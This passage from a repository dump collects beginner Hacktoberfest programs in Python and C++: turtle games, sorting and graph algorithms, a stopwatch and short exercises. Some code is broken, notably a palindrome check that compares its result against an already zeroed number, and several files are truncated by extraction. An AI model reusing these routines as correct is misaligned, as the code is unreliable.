| # creating the 2d array 7 | # appending the starting 1: [1, ...] 8 | 9 | if x > 1: 10 | # skipping the first two rows 11 | 12 | for c in range(x-1): 13 | # for loop used to find info about previous row 14 | 15 | a[x].append(a[x-1][c]+a[x-1][c+1]) 16 | # math for adding the c and the c+1 number from the previous row 17 | 18 | if x > 0: 19 | # checking if its not the first row 20 | 21 | a[x].append(1) 22 | # appending the ending 1: [1, ..., 1] 23 | 24 | return a 25 | -------------------------------------------------------------------------------- /Hacktober2022/Ping_Pong/ball.py: -------------------------------------------------------------------------------- 1 | from turtle import Turtle 2 | 3 | 4 | 5 | class Ball(Turtle): 6 | def __init__(self): 7 | super().__init__() 8 | self.penup() 9 | self.color("blue violet") 10 | self.shape("circle") 11 | self.move_speed=0.1 12 | self.x_move = 10 13 | self.y_move = 10 14 | 15 | 16 | def ball_move(self): 17 | x_pos=self.xcor() + self.x_move 18 | y_pos=self.ycor() + self.y_move 19 | self.goto(x=x_pos,y=y_pos) 20 | 21 | def bounce_y(self): 22 | self.y_move *= -1 23 | def bounce_x(self): 24 | self.x_move *= -1 25 | self.move_speed *= 0.9 26 | 27 | def reset_position(self): 28 | self.goto(0,0) 29 | self.move_speed=0.1 30 | self.bounce_x() 31 | -------------------------------------------------------------------------------- /Hacktober2022/Ping_Pong/main.py: -------------------------------------------------------------------------------- 1 | import time 2 | from turtle import Screen, Turtle 3 | from paddle import Paddle 4 | from ball import Ball 5 | from scoreboard import ScoreBoard 6 | 7 | 8 | screen=Screen() 9 | tim=Turtle() 10 | 11 | 12 | 13 | 14 | screen.title("Pong Game") 15 | screen.setup(width=800, height=600) 16 | screen.bgcolor("black") 17 | screen.tracer(0) 18 | tim.pencolor("white") 19 | tim.speed(0) 20 | tim. penup() 21 | tim.goto(0,-300) 22 | tim.seth(90) 23 | for _ in range(1,20): 24 | tim.pendown() 25 | tim.fd(20) 26 | tim.penup() 27 | tim.fd(20) 28 | 29 | 30 | r_paddle=Paddle(x_pos=380,y_pos=0) 31 | l_paddle=Paddle(x_pos=-390,y_pos=0) 32 | 33 | ball=Ball() 34 | 35 | scoreboard=ScoreBoard() 36 | 37 | screen.listen() 38 | 39 | 40 | screen.onkey(key="Up",fun=r_paddle.move_up) 41 | screen.onkey(key="Down",fun=r_paddle.move_down) 42 | screen.onkey(key="w",fun=l_paddle.move_up) 43 | screen.onkey(key="s",fun=l_paddle.move_down) 44 | 45 | 46 | is_game_on=True 47 | 48 | while is_game_on: 49 | screen.update() 50 | time.sleep(ball.move_speed) 51 | 52 | ball.ball_move() 53 | 54 | # Detect collision with wall 55 | if ball.ycor() > 280 or ball.ycor() < -280: 56 | ball.bounce_y() 57 | 58 | # Detect collision with paddle 59 | if ball.distance(r_paddle) < 56 and ball.xcor() > 355 or ball.distance(l_paddle) < 56 and ball.xcor() < -365: 60 | ball.bounce_x() 61 | # Detection collision with right wall 62 | if ball.xcor() > 386 : 63 | ball.reset_position() 64 | scoreboard.l_point() 65 | # Detection collision with left wall 66 | if ball.xcor() < -389: 67 | ball.reset_position() 68 | scoreboard.r_point() 69 | 70 | 71 | 72 | 73 | screen.exitonclick() -------------------------------------------------------------------------------- /Hacktober2022/Ping_Pong/paddle.py: -------------------------------------------------------------------------------- 1 | from turtle import Turtle 2 | HEIGHT=5 3 | WEIDTH=1 4 | class Paddle(Turtle): 5 | def __init__(self,x_pos,y_pos): 6 | super().__init__() 7 | self.penup() 8 | # self.speed(0) 9 | self.goto(x=x_pos,y=y_pos) 10 | self.shape("square") 11 | self.color("white") 12 | self.shapesize(stretch_wid=HEIGHT,stretch_len=WEIDTH) 13 | 14 | def move_up(self): 15 | new_y=self.ycor()+20 16 | self.goto(x=self.xcor(),y=new_y) 17 | def move_down(self): 18 | new_y=self.ycor()-20 19 | self.goto(x=self.xcor(),y=new_y) -------------------------------------------------------------------------------- /Hacktober2022/Ping_Pong/scoreboard.py: -------------------------------------------------------------------------------- 1 | from turtle import Turtle 2 | 3 | 4 | class ScoreBoard(Turtle): 5 | def __init__(self): 6 | super().__init__() 7 | self.penup() 8 | self.color("white") 9 | self.hideturtle() 10 | self.l_score=0 11 | self.r_score=0 12 | self.update_scoreboard() 13 | 14 | def update_scoreboard(self): 15 | self.clear() 16 | self.goto(-90,200) 17 | self.write(self.l_score,align="center",font=("Courier",70,"normal")) 18 | self.goto(90,200) 19 | self.write(self.r_score,align="center",font=("Courier",70,"normal")) 20 | 21 | def l_point(self): 22 | self.l_score += 1 23 | self.update_scoreboard() 24 | 25 | def r_point(self): 26 | self.r_score += 1 27 | self.update_scoreboard() -------------------------------------------------------------------------------- /Hacktober2022/Prim's Spamming Tree.py: -------------------------------------------------------------------------------- 1 | # A Python3 program for Prim's Minimum Spanning Tree (MST) algorithm. 2 | # The program is for adjacency matrix representation of the graph 3 | 4 | import sys # Library for INT_MAX 5 | 6 | 7 | class Graph(): 8 | 9 | def __init__(self, vertices): 10 | self.V = vertices 11 | self.graph = [[0 for column in range(vertices)] 12 | for row in range(vertices)] 13 | 14 | # A utility function to print the constructed MST stored in parent[] 15 | def printMST(self, parent): 16 | print("Edge \tWeight") 17 | for i in range(1, self.V): 18 | print(parent[i], "-", i, "\t", self.graph[i][parent[i]]) 19 | 20 | # A utility function to find the vertex with 21 | # minimum distance value, from the set of vertices 22 | # not yet included in shortest path tree 23 | def minKey(self, key, mstSet): 24 | 25 | # Initialize min value 26 | min = sys.maxsize 27 | 28 | for v in range(self.V): 29 | if key[v] < min and mstSet[v] == False: 30 | min = key[v] 31 | min_index = v 32 | 33 | return min_index 34 | 35 | # Function to construct and print MST for a graph 36 | # represented using adjacency matrix representation 37 | def primMST(self): 38 | 39 | # Key values used to pick minimum weight edge in cut 40 | key = [sys.maxsize] * self.V 41 | parent = [None] * self.V # Array to store constructed MST 42 | # Make key 0 so that this vertex is picked as first vertex 43 | key[0] = 0 44 | mstSet = [False] * self.V 45 | 46 | parent[0] = -1 # First node is always the root of 47 | 48 | for cout in range(self.V): 49 | 50 | # Pick the minimum distance vertex from 51 | # the set of vertices not yet processed. 52 | # u is always equal to src in first iteration 53 | u = self.minKey(key, mstSet) 54 | 55 | # Put the minimum distance vertex in 56 | # the shortest path tree 57 | mstSet[u] = True 58 | 59 | # Update dist value of the adjacent vertices 60 | # of the picked vertex only if the current 61 | # distance is greater than new distance and 62 | # the vertex in not in the shortest path tree 63 | for v in range(self.V): 64 | 65 | # graph[u][v] is non zero only for adjacent vertices of m 66 | # mstSet[v] is false for vertices not yet included in MST 67 | # Update the key only if graph[u][v] is smaller than key[v] 68 | if self.graph[u][v] > 0 and mstSet[v] == False and key[v] > self.graph[u][v]: 69 | key[v] = self.graph[u][v] 70 | parent[v] = u 71 | 72 | self.printMST(parent) 73 | 74 | 75 | # Driver's code 76 | if __name__ == '__main__': 77 | g = Graph(5) 78 | g.graph = [[0, 2, 0, 6, 0], 79 | [2, 0, 3, 8, 5], 80 | [0, 3, 0, 0, 7], 81 | [6, 8, 0, 0, 9], 82 | [0, 5, 7, 9, 0]] 83 | 84 | g.primMST() 85 | 86 | # Contributed by Divyanshu Mehta 87 | -------------------------------------------------------------------------------- /Hacktober2022/Print-IP-Address.py: -------------------------------------------------------------------------------- 1 | # Sarthak Roy (sarthakroy2002) 2 | 3 | import socket 4 | hostname = socket.gethostname() 5 | IPAddr=socket.gethostbyname(hostname) 6 | print("My IP Address is:"+IPAddr) 7 | -------------------------------------------------------------------------------- /Hacktober2022/Program to Swap Two Variables.py: -------------------------------------------------------------------------------- 1 | # Python program to swap two variables 2 | 3 | x = 5 4 | y = 10 5 | 6 | # To take inputs from the user 7 | #x = input('Enter value of x: ') 8 | #y = input('Enter value of y: ') 9 | 10 | # create a temporary variable and swap the values 11 | temp = x 12 | x = y 13 | y = temp 14 | 15 | print('The value of x after swapping: {}'.format(x)) 16 | print('The value of y after swapping: {}'.format(y)) 17 | -------------------------------------------------------------------------------- /Hacktober2022/Python program to check if a string is palindrome or not: -------------------------------------------------------------------------------- 1 | # function which return reverse of a string 2 | 3 | def isPalindrome(s): 4 | return s == s[::-1] 5 | 6 | 7 | # Driver code 8 | s = "malayalam" 9 | ans = isPalindrome(s) 10 | 11 | if ans: 12 | print("Yes") 13 | else: 14 | print("No") 15 | -------------------------------------------------------------------------------- /Hacktober2022/Quick_Sort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | void swap(int* a, int* b) 4 | { 5 | int t = *a; 6 | *a = *b; 7 | *b = t; 8 | } 9 | int partition (int arr[], int low, int high) 10 | { 11 | int pivot = arr[high],i=(low-1); 12 | for (int j = low; j <= high- 1; j++) 13 | { 14 | if (arr[j] <= pivot) 15 | { 16 | i++; 17 | swap(&arr[i], &arr[j]); 18 | } 19 | } 20 | swap(&arr[i + 1], &arr[high]); 21 | return (i + 1); 22 | } 23 | void quickSort(int arr[], int low, int high) 24 | { 25 | if (low < high) 26 | { 27 | int pivot = partition(arr, low, high); 28 | quickSort(arr, low, pivot - 1); 29 | quickSort(arr, pivot + 1, high); 30 | } 31 | } 32 | void displayArray(int arr[], int size) 33 | { 34 | int i; 35 | for (i=0; i < size; i++) 36 | cout<./?@#$%^&*_~''' 2 | 3 | my_str = "Hello!!!, he said ---and went." 4 | 5 | no_punct = "" 6 | for char in my_str: 7 | if char not in punctuations: 8 | no_punct = no_punct + char 9 | 10 | # display the unpunctuated string 11 | print(no_punct) 12 | -------------------------------------------------------------------------------- /Hacktober2022/Reverse_Singly_Linkedlist.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | struct Node { 3 | int data; 4 | struct Node* next; 5 | }; 6 | Node* insertNode(int key) { 7 | Node* temp = new Node; 8 | temp->data = key; 9 | temp->next = NULL; 10 | return temp; 11 | } 12 | void tailRecRevese(Node* current, Node* previous, Node** head){ 13 | if (!current->next) { 14 | *head = current; 15 | current->next = previous; 16 | return; 17 | } 18 | Node* next = current->next; 19 | current->next = previous; 20 | tailRecRevese(next, current, head); 21 | } 22 | void tailRecReveseLL(Node** head){ 23 | if (!head) 24 | return; 25 | tailRecRevese(*head, NULL, head); 26 | } 27 | void printLinkedList(Node* head){ 28 | while (head != NULL) { 29 | printf("%d ", head->data); 30 | head = head->next; 31 | } 32 | printf("\n"); 33 | } 34 | int main(){ 35 | Node* head1 = insertNode(9); 36 | head1->next = insertNode(32); 37 | head1->next->next = insertNode(65); 38 | head1->next->next->next = insertNode(10); 39 | head1->next->next->next->next = insertNode(85); 40 | printf("Linked list : \t"); 41 | printLinkedList(head1); 42 | tailRecReveseLL(&head1); 43 | printf("Reversed linked list : \t"); 44 | printLinkedList(head1); 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /Hacktober2022/Rock paper scissors game.py: -------------------------------------------------------------------------------- 1 | import random 2 | choices = ["Rock", "Paper", "Scissors"] 3 | computer = random.choice(choices) 4 | player = False 5 | cpu_score = 0 6 | player_score = 0 7 | while True: 8 | player = input("Rock, Paper or Scissors?").capitalize() 9 | if player == computer: 10 | print("Tie!") 11 | elif player == "Rock": 12 | if computer == "Paper": 13 | print("You lose!", computer, "covers", player) 14 | cpu_score+=1 15 | else: 16 | print("You win!", player, "smashes", computer) 17 | player_score+=1 18 | elif player == "Paper": 19 | if computer == "Scissors": 20 | print("You lose!", computer, "cut", player) 21 | cpu_score+=1 22 | else: 23 | print("You win!", player, "covers", computer) 24 | player_score+=1 25 | elif player == "Scissors": 26 | if computer == "Rock": 27 | print("You lose...", computer, "smashes", player) 28 | cpu_score+=1 29 | else: 30 | print("You win!", player, "cut", computer) 31 | player_score+=1 32 | elif player=='End': 33 | print("Final Scores:") 34 | print(f"CPU:{cpu_score}") 35 | print(f"Plaer:{player_score}") 36 | break 37 | -------------------------------------------------------------------------------- /Hacktober2022/Second_minimum.py: -------------------------------------------------------------------------------- 1 | # Python prog to illustrate the following in a list 2 | def find_len(list1): 3 | length = len(list1) 4 | list1.sort() 5 | print("Largest element is:", list1[length-1]) 6 | print("Smallest element is:", list1[0]) 7 | print("Second Largest element is:", list1[length-2]) 8 | print("Second Smallest element is:", list1[1]) 9 | 10 | # Driver Code 11 | list1=[12, 45, 2, 41, 31, 10, 8, 6, 4] 12 | Largest = find_len(list1) 13 | -------------------------------------------------------------------------------- /Hacktober2022/SelectionSort.py: -------------------------------------------------------------------------------- 1 | # Selection sort in Python 2 | # time complexity O(n*n) 3 | #sorting by finding min_index 4 | def selectionSort(array, size): 5 | 6 | for ind in range(size): 7 | min_index = ind 8 | 9 | for j in range(ind + 1, size): 10 | # select the minimum element in every iteration 11 | if array[j] < array[min_index]: 12 | min_index = j 13 | # swapping the elements to sort the array 14 | (array[ind], array[min_index]) = (array[min_index], array[ind]) 15 | 16 | arr = [-12, 45, 10, 11, -19,68,-96,-22,77] 17 | size = len(arr) 18 | selectionSort(arr, size) 19 | print('The array after sorting in Ascending Order by selection sort is:') 20 | print(arr) 21 | -------------------------------------------------------------------------------- /Hacktober2022/Selection_Sort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | int* rdm(int n) 4 | { 5 | int b; 6 | int *arr=new int[n]; 7 | srand(time(0)); 8 | for(int i=0;iptr[j]) 31 | min=j; 32 | } 33 | if(min!=i) 34 | { 35 | int temp=ptr[min]; 36 | ptr[min]=ptr[i]; 37 | ptr[i]=temp; 38 | } 39 | cout< 0: 4 | for i in range(gap, len(input_list)): 5 | temp = input_list[i] 6 | j = i 7 | while j >= gap and input_list[j - gap] > temp: 8 | input_list[j] = input_list[j - gap] 9 | j = j-gap 10 | input_list[j] = temp 11 | 12 | gap = gap//2 13 | list = [19,2,31,45,30,11,121,27] 14 | shellSort(list) 15 | print(list) 16 | -------------------------------------------------------------------------------- /Hacktober2022/Shuffle Deck.py: -------------------------------------------------------------------------------- 1 | import itertools, random 2 | 3 | deck = list(itertools.product(range(1,14),['Spade','Heart','Diamond','Club'])) 4 | 5 | random.shuffle(deck) 6 | 7 | print("You got:") 8 | for i in range(5): 9 | print(deck[i][0], "of", deck[i][1]) 10 | -------------------------------------------------------------------------------- /Hacktober2022/Snake_Game/README.md: -------------------------------------------------------------------------------- 1 | # Snake_Game 2 | I have developed the old classic snake game using, the python programming language which we use to play on our old Nokia phones. 3 | Through this project, I was able to recollect many childhood memories and learned many concepts like OOPs. 4 | I have attached the source code, please have fun with the code and let me know your valuable feedback. 5 | You can reach me out at sarthaksharma600@gmail.com and my linkedin is linkedin.com/in/sarthak-sharma-1274b5156 6 | Thank You 7 | -------------------------------------------------------------------------------- /Hacktober2022/Snake_Game/food.py: -------------------------------------------------------------------------------- 1 | from turtle import Turtle 2 | import random 3 | 4 | class Food(Turtle) : 5 | def __init__(self): 6 | super().__init__() 7 | self.shape("circle") 8 | self.penup() 9 | self.shapesize(stretch_len=0.5,stretch_wid=0.5) 10 | self.color("white") 11 | self.speed(0) 12 | self.refresh() 13 | 14 | def refresh(self): 15 | x_cor=random.randint(-270,270) 16 | y_cor=random.randint(-270,270) 17 | self.goto(x_cor,y_cor) 18 | 19 | -------------------------------------------------------------------------------- /Hacktober2022/Snake_Game/main.py: -------------------------------------------------------------------------------- 1 | import time 2 | from turtle import Screen, listen 3 | from snake import Snake 4 | from food import Food 5 | from scoreboard import ScoreBoard 6 | 7 | 8 | sc=Screen() 9 | sc.setup(width=600,height=600) 10 | sc.bgcolor("black") 11 | sc.title("Snake Game") 12 | sc.tracer(0) 13 | snake=Snake() 14 | food=Food() 15 | score=ScoreBoard() 16 | score.score_write() 17 | sc.listen() 18 | 19 | 20 | sc.onkey(key='Up',fun=snake.up) 21 | sc.onkey(key='Down',fun=snake.down) 22 | sc.onkey(key='Right',fun=snake.right) 23 | sc.onkey(key='Left',fun=snake.left) 24 | is_game_on=True 25 | 26 | while is_game_on: 27 | sc.update() 28 | time.sleep(0.1) 29 | snake.move() 30 | # Dectect collision with food 31 | if snake.head.distance(food)<10: 32 | food.refresh() 33 | snake.increase_lenght() 34 | score.score_write() 35 | # Dectect collision with wall 36 | if snake.head.xcor()>290 or snake.head.xcor()<-290 or snake.head.ycor()>290 or snake.head.ycor() < -290: 37 | is_game_on=False 38 | score.game_over() 39 | # Dectect collision with tail 40 | for segment in snake.all_segments[1:]: 41 | if snake.head.distance(segment) < 5: 42 | is_game_on=False 43 | score.game_over() 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | sc.exitonclick() 53 | -------------------------------------------------------------------------------- /Hacktober2022/Snake_Game/scoreboard.py: -------------------------------------------------------------------------------- 1 | from turtle import Turtle 2 | ALIGN="center" 3 | FONT=("Verdana",15,"italic") 4 | class ScoreBoard(Turtle): 5 | def __init__(self): 6 | super().__init__() 7 | self.score=-1 8 | self.hideturtle() 9 | self.pencolor("white") 10 | self.penup() 11 | self.goto(x=0,y=278) 12 | 13 | 14 | def score_count(self): 15 | self.score+=1 16 | return self.score 17 | def game_over(self): 18 | self.goto(0,0) 19 | self.write("GAME OVER",align=ALIGN,font=FONT) 20 | def score_write(self): 21 | self.clear() 22 | self.write(f"Score ={self.score_count()}",align=ALIGN,font=FONT) 23 | 24 | -------------------------------------------------------------------------------- /Hacktober2022/Snake_Game/snake.py: -------------------------------------------------------------------------------- 1 | from turtle import Turtle, down 2 | STARTING_POSITON=[(0,0),(-20,0),(-40,0)] 3 | MOVE_DISTANCE=10 4 | UP=90 5 | DOWN=270 6 | RIGHT=0 7 | LEFT=180 8 | 9 | class Snake : 10 | def __init__(self): 11 | self.all_segments=[] 12 | self.creat_snake() 13 | self.head=self.all_segments[0] 14 | self.head.color("purple") 15 | 16 | 17 | def creat_snake(self): 18 | for position in STARTING_POSITON: 19 | self.add_segment(position) 20 | # add segment to the snake body 21 | def add_segment(self,position): 22 | new_segment=Turtle(shape="square") 23 | new_segment.color("white") 24 | new_segment.penup() 25 | new_segment.goto(position) 26 | self.all_segments.append(new_segment) 27 | # increase the lenght of snake 28 | def increase_lenght(self): 29 | self.add_segment(self.all_segments[-1].position()) 30 | # move the snake 31 | def move(self): 32 | for seg_num in range(len(self.all_segments)-1,0,-1): 33 | x_cor=self.all_segments[seg_num-1].xcor() 34 | y_cor=self.all_segments[seg_num-1].ycor() 35 | self.all_segments[seg_num].goto(x_cor,y_cor) 36 | self.head.forward(MOVE_DISTANCE) 37 | 38 | def up(self): 39 | if self.head.heading() != DOWN: 40 | self.head.seth(90) 41 | 42 | def down(self): 43 | if self.head.heading() != UP: 44 | self.head.seth(270) 45 | 46 | def left(self): 47 | if self.head.heading() != RIGHT: 48 | self.head.seth(180) 49 | 50 | def right(self): 51 | if self.head.heading() != LEFT: 52 | self.head.seth(0) 53 | 54 | 55 | -------------------------------------------------------------------------------- /Hacktober2022/Stopwatch.py: -------------------------------------------------------------------------------- 1 | # CODE: Stop Watch in Python 2 | # AUTHOR: Snehil Seenu 3 | 4 | 5 | import tkinter as Tkinter 6 | from datetime import datetime 7 | 8 | counter = 0 9 | running = False 10 | 11 | 12 | def counter_label(label): 13 | def count(): 14 | if running: 15 | global counter 16 | # To manage the intial delay. 17 | if counter == 0: 18 | display = 'Ready!' 19 | else: 20 | tt = datetime.utcfromtimestamp(counter) 21 | string = tt.strftime('%H:%M:%S') 22 | display = string 23 | 24 | label['text'] = display 25 | 26 | # label.after(arg1, arg2) delays by 27 | # first argument given in milliseconds 28 | # and then calls the function given as second argument. 29 | # Generally like here we need to call the 30 | # function in which it is present repeatedly. 31 | # Delays by 1000ms=1 seconds and call count again. 32 | label.after(1000, count) 33 | counter += 1 34 | 35 | # Triggering the start of the counter. 36 | count() 37 | 38 | 39 | # start function of the stopwatch 40 | def Start(label): 41 | global running 42 | running = True 43 | counter_label(label) 44 | start['state'] = 'disabled' 45 | stop['state'] = 'normal' 46 | reset['state'] = 'normal' 47 | 48 | 49 | # Stop function of the stopwatch 50 | def Stop(): 51 | global running 52 | start['state'] = 'normal' 53 | stop['state'] = 'disabled' 54 | reset['state'] = 'normal' 55 | running = False 56 | 57 | 58 | # Reset function of the stopwatch 59 | def Reset(label): 60 | global counter 61 | counter = 0 62 | # If reset is pressed after pressing stop. 63 | if not running: 64 | reset['state'] = 'disabled' 65 | label['text'] = '00:00:00' 66 | # If reset is pressed while the stopwatch is running. 67 | else: 68 | label['text'] = '00:00:00' 69 | 70 | 71 | root = Tkinter.Tk() 72 | root.title("Stopwatch") 73 | 74 | # Fixing the window size. 75 | root.minsize(width=250, height=70) 76 | label = Tkinter.Label(root, text='Ready!', fg='black', font='Verdana 30 bold') 77 | label.pack() 78 | f = Tkinter.Frame(root) 79 | start = Tkinter.Button(f, text='Start', width=6, command=lambda: Start(label)) 80 | stop = Tkinter.Button(f, text='Stop', width=6, state='disabled', command=Stop) 81 | reset = Tkinter.Button(f, text='Reset', width=6, state='disabled', command=lambda: Reset(label)) 82 | f.pack(anchor='center', pady=5) 83 | start.pack(side='left') 84 | stop.pack(side='left') 85 | reset.pack(side='left') 86 | root.mainloop() -------------------------------------------------------------------------------- /Hacktober2022/ThePerfectGuess.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | randNumber = random.randint(1, 100) 4 | 5 | userGuess = None 6 | guesses = 0 7 | 8 | while(userGuess != randNumber): 9 | userGuess = int(input("Enter your guess: ")) 10 | guesses += 1 11 | 12 | if userGuess == randNumber: 13 | print("You guessed it right!") 14 | else: 15 | if userGuess < randNumber: 16 | print("You guessed it wrong!, Enter a larger number: ") 17 | else: 18 | print("You guessed it wrong!, Enter a smaller number: ") 19 | 20 | print(f"You guessed the number in {guesses} guesses!") 21 | 22 | with open('highscore.txt', 'r') as f: 23 | highscore = int(f.read()) 24 | 25 | if guesses b and a > c: 10 | return a 11 | elif b > a and b > c: 12 | return b 13 | else: 14 | return c 15 | 16 | 17 | # Driver code 18 | x, y, z = [int(x) for x in input("Enter three numbers: ").split()] 19 | print("Biggest number is: ", Biggest(x, y, z)) -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_10.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program to generate n-th Fibonacci number. 8 | def Fibonacci(n): 9 | a = 0 10 | b = 1 11 | i = 0 12 | while i < n: 13 | print(a) 14 | a, b = b, a + b 15 | i += 1 16 | 17 | # Driver code 18 | Number = int(input("Enter a number: ")) 19 | Fibonacci(Number) -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_2.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program using loop to print the decimal equivalents of 1/2, 1/3, 1/4 ,....... 1/n 8 | def decimal(n): 9 | i = 1 10 | while i <= n: 11 | print(1 / i) 12 | i += 1 13 | 14 | # Driver code 15 | Number = int(input("Enter a number: ")) 16 | decimal(Number) -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_3.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program for displaying reversal of a number n. 8 | def reverse(n): 9 | rev = 0 10 | while n > 0: 11 | dig = n % 10 12 | rev = rev * 10 + dig 13 | n = n // 10 14 | return rev 15 | 16 | # Driver code 17 | n = int(input("Enter a number: ")) 18 | print("Reverse of the number is: ", reverse(n)) -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_4.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program to generate first N natural numbers. 8 | def NaturalNumber(n): 9 | i = 1 10 | while i <= n: 11 | print(i) 12 | i += 1 13 | 14 | # Driver code 15 | Number = int(input("Enter a number: ")) 16 | NaturalNumber(Number) -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_5.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program to check given number is palindrome or not. 8 | def PalindromeCheck(n): 9 | rev = 0 10 | while n > 0: 11 | dig = n % 10 12 | rev = rev * 10 + dig 13 | n = n // 10 14 | if rev == n: 15 | return True 16 | else: 17 | return False 18 | 19 | # Driver code 20 | n = int(input("Enter a number: ")) 21 | if PalindromeCheck(n): 22 | print("Number is palindrome") 23 | else: 24 | print("Number is not palindrome") -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_6.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program to print factorial of a number. 8 | def Factorial(n): 9 | fact = 1 10 | while n > 0: 11 | fact = fact * n 12 | n -= 1 13 | return fact 14 | 15 | # Driver code 16 | Number = int(input("Enter a number: ")) 17 | print("Factorial of the number is: ", Factorial(Number)) -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_7.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program to print sum of N natural numbers. 8 | def NaturalNumber(n): 9 | i = 1 10 | sum = 0 11 | while i <= n: 12 | sum = sum + i 13 | i += 1 14 | return sum 15 | 16 | # Driver code 17 | Number = int(input("Enter a number: ")) 18 | print("Sum of the number is: ", NaturalNumber(Number)) -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_8.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program to check given number is Armstrong or not. 8 | def ArmstrongCheck(n): 9 | sum = 0 10 | temp = n 11 | while temp > 0: 12 | digit = temp % 10 13 | sum += digit ** 3 14 | temp //= 10 15 | if sum == n: 16 | return True 17 | else: 18 | return False 19 | 20 | # Driver code 21 | n = int(input("Enter a number: ")) 22 | if ArmstrongCheck(n): 23 | print("Number is Armstrong") 24 | else: 25 | print("Number is not Armstrong") -------------------------------------------------------------------------------- /Hacktober2022/Tricky_Questions/Question_9.py: -------------------------------------------------------------------------------- 1 | # 2 | # * Author: Aman Upadhyay 3 | # * Email: amanupadhyay0208@gmail.com 4 | # * GitHub: https://github.com/AmanxUpadhyay 5 | # 6 | 7 | # Write a Python program to generate prime numbers of series up to n. 8 | def PrimeNumber(n): 9 | i = 2 10 | while i <= n: 11 | j = 2 12 | while j <= (i // 2): 13 | if i % j == 0: 14 | break 15 | j += 1 16 | else: 17 | print(i) 18 | i += 1 19 | 20 | # Driver code 21 | Number = int(input("Enter a number: ")) 22 | PrimeNumber(Number) -------------------------------------------------------------------------------- /Hacktober2022/Valid parentheses stack approach.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def isValid(self, s: str) -> bool: 3 | n=len(s) 4 | stack=[] 5 | for i in s: 6 | if i=='(' or i=='[' or i=='{': 7 | stack.append(i) 8 | else: 9 | if len(stack)==0: 10 | return False 11 | elif i==')': 12 | if stack[-1]=='(': 13 | stack.pop() 14 | else: 15 | return False 16 | elif i==']': 17 | if stack[-1]=='[': 18 | stack.pop() 19 | else: 20 | return False 21 | elif i=='}': 22 | if stack[-1]=='{': 23 | stack.pop() 24 | else: 25 | return False 26 | if len(stack)==0: 27 | return True 28 | else: 29 | return False 30 | -------------------------------------------------------------------------------- /Hacktober2022/Wikipedia.py: -------------------------------------------------------------------------------- 1 | import wikipedia 2 | a=input("Enter what information you want to search:") 3 | result = wikipedia.summary(a) 4 | print(result) 5 | -------------------------------------------------------------------------------- /Hacktober2022/Ytdownloader.py: -------------------------------------------------------------------------------- 1 | from pytube import YouTube 2 | 3 | url = "https://youtu.be/dQw4w9WgXcQ" #Enter the url of the video you want to download 4 | 5 | video = YouTube(url) 6 | 7 | print(video.title) #prints the title of the youtube video 8 | 9 | print(video.thumbnail_url) #prints the link of the youtube thumbnail image 10 | 11 | print(video.views) #prints the views of the video 12 | 13 | print(video.description) #prints the description of the video 14 | 15 | video = video.streams.get_highest_resolution() 16 | 17 | video.download() #downloads the video in your current directory 18 | -------------------------------------------------------------------------------- /Hacktober2022/add.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | # (c) Sarthak Roy (sarthakroy2002) 4 | # 5 | # Take Input of two numbers from the user 6 | n1 = input('Enter first number: ') 7 | n2 = input('Enter second number: ') 8 | 9 | # Add the two numbers taken from the user 10 | sum = float(n1) + float(n2) 11 | 12 | # Display the sum of two numbers 13 | print('The sum is {0}'.format(sum)) 14 | -------------------------------------------------------------------------------- /Hacktober2022/armstrong.py: -------------------------------------------------------------------------------- 1 | # Python program to determine whether the number is Armstrong number or not 2 | 3 | # Function to calculate x raised to the power y 4 | def power(m, n): 5 | 6 | if n == 0: 7 | return 1 8 | if n % 2 == 0: 9 | return power(m, n // 2) * power(m, n // 2) 10 | 11 | return m * power(m, n // 2) * power(m, n // 2) 12 | 13 | # Function to calculate order of the number 14 | def order(m): 15 | 16 | # Variable to store of the number 17 | n = 0 18 | while (m != 0): 19 | n = n + 1 20 | m = m // 10 21 | 22 | return n 23 | 24 | # Function to check whether the given number is 